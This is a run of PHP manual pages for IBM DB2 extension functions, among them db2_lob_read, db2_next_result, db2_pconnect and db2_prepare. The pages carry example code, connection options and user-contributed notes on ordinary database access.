Last Insert ID is : 1

User Contributed Notes

Mark Adkins 10-Jun-2010 06:28
On the iSeries and maybe other db2 platforms, this function is not defined--PHP Fatal error:  Call to undefined function  db2_last_insert_id().

The alternative is to use IDENTITY_VAL_LOCAL().

The above example becomes:

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";
    $getIdentity = "SELECT IDENTITY_VAL_LOCAL() AS LASTID FROM SYSIBM.SYSDUMMY1";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);

    $stmt = db2_exec($conn, $getIdentity);
    $row = db2_fetch_assoc($stmt);
    $ret = $row['LASTID'];

    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>


Gets a user defined size of LOB files with each invocation

  • « db2_last_insert_id
  • db2_next_result »
  • PHP Manual
  • IBM DB2 Functions
  • Gets a user defined size of LOB files with each invocation

db2_lob_read

(PECL ibm_db2 >= 1.6.0)

db2_lob_read — Gets a user defined size of LOB files with each invocation

Description

string db2_lob_read ( resource $stmt , int $colnum , int $length )

Use db2_lob_read() to iterate through a specified column of a result set and retrieve a user defined size of LOB data.

Parameters

stmt

A valid stmt resource containing LOB data.

colnum

A valid column number in the result set of the stmt resource.

length

The size of the LOB data to be retrieved from the stmt resource.

Return Values

Returns the amount of data the user specifies. Returns FALSE if the data cannot be retrieved.

Examples

Example #1 Iterating through different types of data

<?php

/* Database Connection Parameters */
$db = 'SAMPLE';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($db,$username,$password);

if ($conn) {
    $drop = 'DROP TABLE clob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE clob_stream (id INTEGER, my_clob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO clob_stream (id,my_clob) VALUES (1, ?)");
    $variable = "THIS IS A CLOB TEST. THIS IS A CLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_clob FROM clob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* Read LOB data */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }

    $drop = 'DROP TABLE blob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE blob_stream (id INTEGER, my_blob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO blob_stream (id,my_blob) VALUES (1, ?)");
    $variable = "THIS IS A BLOB TEST. THIS IS A BLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_blob FROM blob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* Read LOB data */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }
} else {
    echo 'no connection: ' . db2_conn_errormsg();
}

?>

The above example will output:

Loop 0: THIS I
Loop 1: S A CL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  CLOB
Loop 6: TEST.
Loop 0: THIS I
Loop 1: S A BL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  BLOB
Loop 6: TEST.

See Also

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_exec() - Executes an SQL statement directly
  • db2_execute() - Executes a prepared SQL statement
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Requests the next result set from a stored procedure

  • « db2_lob_read
  • db2_num_fields »
  • PHP Manual
  • IBM DB2 Functions
  • Requests the next result set from a stored procedure

db2_next_result

(PECL ibm_db2 >= 1.0.0)

db2_next_result — Requests the next result set from a stored procedure

Description

resource db2_next_result ( resource $stmt )

A stored procedure can return zero or more result sets. While you handle the first result set in exactly the same way you would handle the results returned by a simple SELECT statement, to fetch the second and subsequent result sets from a stored procedure you must call the db2_next_result() function and return the result to a uniquely named PHP variable.

Parameters

stmt

A prepared statement returned from db2_exec() or db2_execute().

Return Values

Returns a new statement resource containing the next result set if the stored procedure returned another result set. Returns FALSE if the stored procedure did not return another result set.

Examples

Example #1 Calling a stored procedure that returns multiple result sets

In the following example, we call a stored procedure that returns three result sets. The first result set is fetched directly from the same statement resource on which we invoked the CALL statement, while the second and third result sets are fetched from statement resources returned from our calls to the db2_next_result() function.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
  $stmt = db2_exec($conn, 'CALL multiResults()');

  print "Fetching first result set\n";
  while ($row = db2_fetch_array($stmt)) {
    var_dump($row);
  }

  print "\nFetching second result set\n";
  $res = db2_next_result($stmt);
  if ($res) {
    while ($row = db2_fetch_array($res)) {
      var_dump($row);
    }
  }

  print "\nFetching third result set\n";
  $res2 = db2_next_result($stmt);
  if ($res2) {
    while ($row = db2_fetch_array($res2)) {
      var_dump($row);
    }
  }

  db2_close($conn);
}
?>

The above example will output:

Fetching first result set
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

Fetching second result set
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

Fetching third result set
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

User Contributed Notes

matthewv at ca dot ibm dot com 22-Nov-2008 01:35
Some not so obvious but imported notes:

1) You must always use the original statement return when fetching the next result set.
2) You can not remove a reference to a previous result set if you wish to access another result set.

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($firstResultHolder);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$resultHolder = db2_next_result($originalStatementReturn);

$resultHolder = db2_next_result($originalStatementReturn);

if ($resultHolder) {
  while ($row = db2_fetch_array($resultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL WORK--------------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($originalStatementReturn);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------


Returns the number of fields contained in a result set

  • « db2_next_result
  • db2_num_rows »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the number of fields contained in a result set

db2_num_fields

(PECL ibm_db2 >= 1.0.0)

db2_num_fields — Returns the number of fields contained in a result set

Description

int db2_num_fields ( resource $stmt )

Returns the number of fields contained in a result set. This is most useful for handling the result sets returned by dynamically generated queries, or for result sets returned by stored procedures, where your application cannot otherwise know how to retrieve and use the results.

Parameters

stmt

A valid statement resource containing a result set.

Return Values

Returns an integer value representing the number of fields in the result set associated with the specified statement resource. Returns FALSE if the statement resource is not a valid input value.

Examples

Example #1 Retrieving the number of fields in a result set

The following example demonstrates how to retrieve the number of fields returned in a result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "There are {$columns} columns in the result set.";
?>

The above example will output:

There are 4 columns in the result set.

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows affected by an SQL statement

  • « db2_num_fields
  • db2_pclose »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the number of rows affected by an SQL statement

db2_num_rows

(PECL ibm_db2 >= 1.0.0)

db2_num_rows — Returns the number of rows affected by an SQL statement

Description

int db2_num_rows ( resource $stmt )

Returns the number of rows deleted, inserted, or updated by an SQL statement.

To determine the number of rows that will be returned by a SELECT statement, issue SELECT COUNT(*) with the same predicates as your intended SELECT statement and retrieve the value.

If your application logic checks the number of rows returned by a SELECT statement and branches if the number of rows is 0, consider modifying your application to attempt to return the first row with one of db2_fetch_assoc(), db2_fetch_both(), db2_fetch_array(), or db2_fetch_row(), and branch if the fetch function returns FALSE.

Note:

If you issue a SELECT statement using a scrollable cursor, db2_num_rows() returns the number of rows returned by the SELECT statement. However, the overhead associated with scrollable cursors significantly degrades the performance of your application, so if this is the only reason you are considering using scrollable cursors, you should use a forward-only cursor and either call SELECT COUNT(*) or rely on the boolean return value of the fetch functions to achieve the equivalent functionality with much better performance.

Parameters

stmt

A valid stmt resource containing a result set.

Return Values

Returns the number of rows affected by the last SQL statement issued by the specified statement handle.

User Contributed Notes

There are no user contributed notes for this page.


Closes a persistent database connection

  • « db2_num_rows
  • db2_pconnect »
  • PHP Manual
  • IBM DB2 Functions
  • Closes a persistent database connection

db2_pclose

(PECL ibm_db2 >= 1.8.0)

db2_pclose — Closes a persistent database connection

Description

bool db2_pclose ( resource $resource )

This function closes a DB2 client connection created with db2_pconnect() and returns the corresponding resources to the database server.

Note:

This function is only available on i5/OS in response to i5/OS system administration requests.

If you have a persistent DB2 client connection created with db2_pconnect(), you may use this function to close the connection. To avoid substantial connection performance penalties, this function should only be used in rare cases when the persistent connection has become unresponsive or the persistent connection will not be needed for a long period of time.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a persistent connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2 i5/OS database.

<?php
$conn = db2_pconnect('', '', '');
$rc = db2_pclose($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

The above example will output:

Connection was successfully closed.

See Also

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a persistent connection to a database

  • « db2_pclose
  • db2_prepare »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a persistent connection to a database

db2_pconnect

(PECL ibm_db2 >= 1.0.0)

db2_pconnect — Returns a persistent connection to a database

Description

resource db2_pconnect ( string $database , string $username , string $password [, array $options ] )

Returns a persistent connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

For more information on persistent connections, refer to Persistent Database Connections.

Calling db2_close() on a persistent connection always returns TRUE, but the underlying DB2 client connection remains open and waiting to serve the next matching db2_pconnect() request.

Users running version 1.9.0 or later of ibm_db2 should be aware that the extension will perform a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.

Parameters

database

The database alias in the DB2 client catalog.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

Tip

Conflicting connection attributes used in conjunction with persistent connections can produce indeterminate results on i5/OS. Site policies should be establish for all applications using each persistent connection user profile. The default DB2_AUTOCOMMIT_ON is suggested when using persistent connections.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_pconnect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_pconnect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note:

The php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

Return Values

Returns a connection handle resource if the connection attempt is successful. db2_pconnect() tries to reuse an existing connection resource that exactly matches the database, username, and password parameters. If the connection attempt fails, db2_pconnect() returns FALSE.

Changelog

Version | Description
ibm_db2 1.9.0 | Active transactions within a persistent connection will be rolled back at the end of each request.
ibm_db2 1.8.0 | The i5_libl option is available for i5/OS users.
ibm_db2 1.7.0 | The trustedcontext option is available.
ibm_db2 1.5.1 | The i5_lib, i5_naming, i5_commit, i5_query_optimize, i5_dbcs_alloc, i5_date_fmt, i5_date_sep, i5_time_fmt, i5_time_sep and i5_decimal_sep options are available for i5/OS users.

Examples

Example #1 A db2_pconnect() example

In the following example, the first call to db2_pconnect() returns a new persistent connection resource. The second call to db2_pconnect() returns a persistent connection resource that simply reuses the first persistent connection resource.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
    echo "Persistent connection succeeded.";
}
else {
    echo "Persistent connection failed.";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
    echo "Second persistent connection succeeded.";
}
else {
    echo "Second persistent connection failed.";
}
?>

The above example will output:

Persistent connection succeeded.
Second persistent connection succeeded.

Example #2 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_pconnect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        //Do some work as user 1.

        //Switching to trusted user.
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        //Do more work as trusted user.

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

The above example will output:

Explicit trusted connection succeeded.
User has been switched.

See Also

  • db2_connect() - Returns a connection to a database

User Contributed Notes

satoruyoshida at php dot net 23-Jan-2012 05:28
If You will create db2 connection on IBMi , QSQSRVR job will be created under QSYSWRK subsystem with specified user.
You can ensure it with using db2_pconnect() function.

For example, db2_pconnect('*LOCAL', 'TESTUSR', 'PASSWORD') will bring us QSQSRVR job with TESTUSR user.

If You omit the user, IHS default user is used in the job.


Prepares an SQL statement to be executed

  • « db2_pconnect
  • db2_primary_keys »
  • PHP Manual
  • IBM DB2 Functions
  • Prepares an SQL statement to be executed

db2_prepare

(PECL ibm_db2 >= 1.0.0)

db2_prepare — Prepares an SQL statement to be executed

Description

resource db2_prepare ( resource $connection , string $statement [, array $options ] )

db2_prepare() creates a prepared SQL statement which can include 0 or more parameter markers (? characters) representing parameters for input, output, or input/output. You can pass parameters to the prepared statement using db2_bind_param(), or for input values only, as an array passed to db2_execute().

There are three main advantages to using prepared statements in your application:

  • Performance: when you prepare a statement, the database server creates an optimized access plan for retrieving data with that statement. Subsequently issuing the prepared statement with db2_execute() enables the statements to reuse that access plan and avoids the overhead of dynamically creating a new access plan for every statement you issue.

  • Security: when you prepare a statement, you can include parameter markers for input values. When you execute a prepared statement with input values for placeholders, the database server checks each input value to ensure that the type matches the column definition or parameter definition.

  • Advanced functionality: Parameter markers not only enable you to pass input values to prepared SQL statements, they also enable you to retrieve OUT and INOUT parameters from stored procedures using db2_bind_param().

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement, optionally containing one or more parameter markers..

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

Return Values

Returns a statement resource if the SQL statement was successfully parsed and prepared by the database server. Returns FALSE if the database server returned an error. You can determine which error was returned by calling db2_stmt_error() or db2_stmt_errormsg().

Examples

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    foreach ($animals as $animal) {
        $result = db2_execute($stmt, $animal);
    }
}
?>

See Also

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_execute() - Executes a prepared SQL statement
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

NormInNorman 18-Nov-2009 04:52
If you are having problems with scrollable cursors and the prepare statement, I've found that you cant set the scrollable option on the connection.  The following code (which tries to get the 2nd record):

<?php
$sql = "SELECT * FROM SCHEMA.TABLENAME";
$options = array('cursor' => DB2_SCROLLABLE);
$conn = db2_connect($database, $user, $password,$options);
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);

$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql, $options);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);
?>

Will result in the following error:

Warning: db2_fetch_both() [function.db2-fetch-both]: Fetch Failure in dbtest.php on line 7

In fact, even if you set the options on both the connection and the prepare your fetch will not work. You must only set that option on the prepare.
ndt.db2 at google mail 13-Aug-2006 03:41
if you have the error message : PHP Warning:  db2_prepare() [<a href='function.db2-prepare'>function.db2-prepare</a>]: Statement Prepare Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid


Returns a result set listing primary keys for a table

  • « db2_prepare
  • db2_procedure_columns »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing primary keys for a table

db2_primary_keys

(PECL ibm_db2 >= 1.0.0)

db2_primary_keys — Returns a result set listing primary keys for a table

Description

resource db2_primary_keys ( resource $connection , string $qualifier , string $schema , string $table-name )

Returns a result set listing the primary keys for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_primary_keys() matches the schema for the current connection.

table-name

The name of the table.

Return Values

Returns a statement resource with a result set containing rows describing the primary keys for the specified table. The result set is composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema for the table containing the primary key.
TABLE_NAME | Name of the table containing the primary key.
COLUMN_NAME | Name of the column containing the primary key.
KEY_SEQ | 1-indexed position of the column in the key.
PK_NAME | The name of the primary key.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing stored procedure parameters

  • « db2_primary_keys
  • db2_procedures »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing stored procedure parameters

db2_procedure_columns

(PECL ibm_db2 >= 1.0.0)

db2_procedure_columns — Returns a result set listing stored procedure parameters

Description

resource db2_procedure_columns ( resource $connection , string $qualifier , string $schema , string $procedure , string $parameter )

Returns a result set listing the parameters for one or more stored procedures.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

parameter

The name of the parameter. This parameter accepts a search pattern containing _ and % as wildcards. If this parameter is NULL, all parameters for the specified stored procedures are returned.

Return Values

Returns a statement resource with a result set containing rows describing the parameters for the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
COLUMN_NAME | Name of the parameter.
COLUMN_TYPE

An integer value representing the type of the parameter:

Return value | Parameter type
1 (SQL_PARAM_INPUT) | Input (IN) parameter.
2 (SQL_PARAM_INPUT_OUTPUT) | Input/output (INOUT) parameter.
3 (SQL_PARAM_OUTPUT) | Output (OUT) parameter.
DATA_TYPE | The SQL data type for the parameter represented as an integer value.
TYPE_NAME | A string representing the data type for the parameter.
COLUMN_SIZE | An integer value representing the size of the parameter.
BUFFER_LENGTH | Maximum number of bytes necessary to store data for this parameter.
DECIMAL_DIGITS | The scale of the parameter, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the parameter is nullable or not.
REMARKS | Description of the parameter.
COLUMN_DEF | Default value for the parameter.
SQL_DATA_TYPE | An integer value representing the size of the parameter.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type parameter, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the parameter in the CALL statement.
IS_NULLABLE | A string value where 'YES' means that the parameter accepts or returns NULL values and 'NO' means that the parameter does not accept or return NULL values.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the stored procedures registered in a database

  • « db2_procedure_columns
  • db2_result »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the stored procedures registered in a database

db2_procedures

(PECL ibm_db2 >= 1.0.0)

db2_procedures — Returns a result set listing the stored procedures registered in a database

Description

resource db2_procedures ( resource $connection , string $qualifier , string $schema , string $procedure )

Returns a result set listing the stored procedures registered in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

Return Values

Returns a statement resource with a result set containing rows describing the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
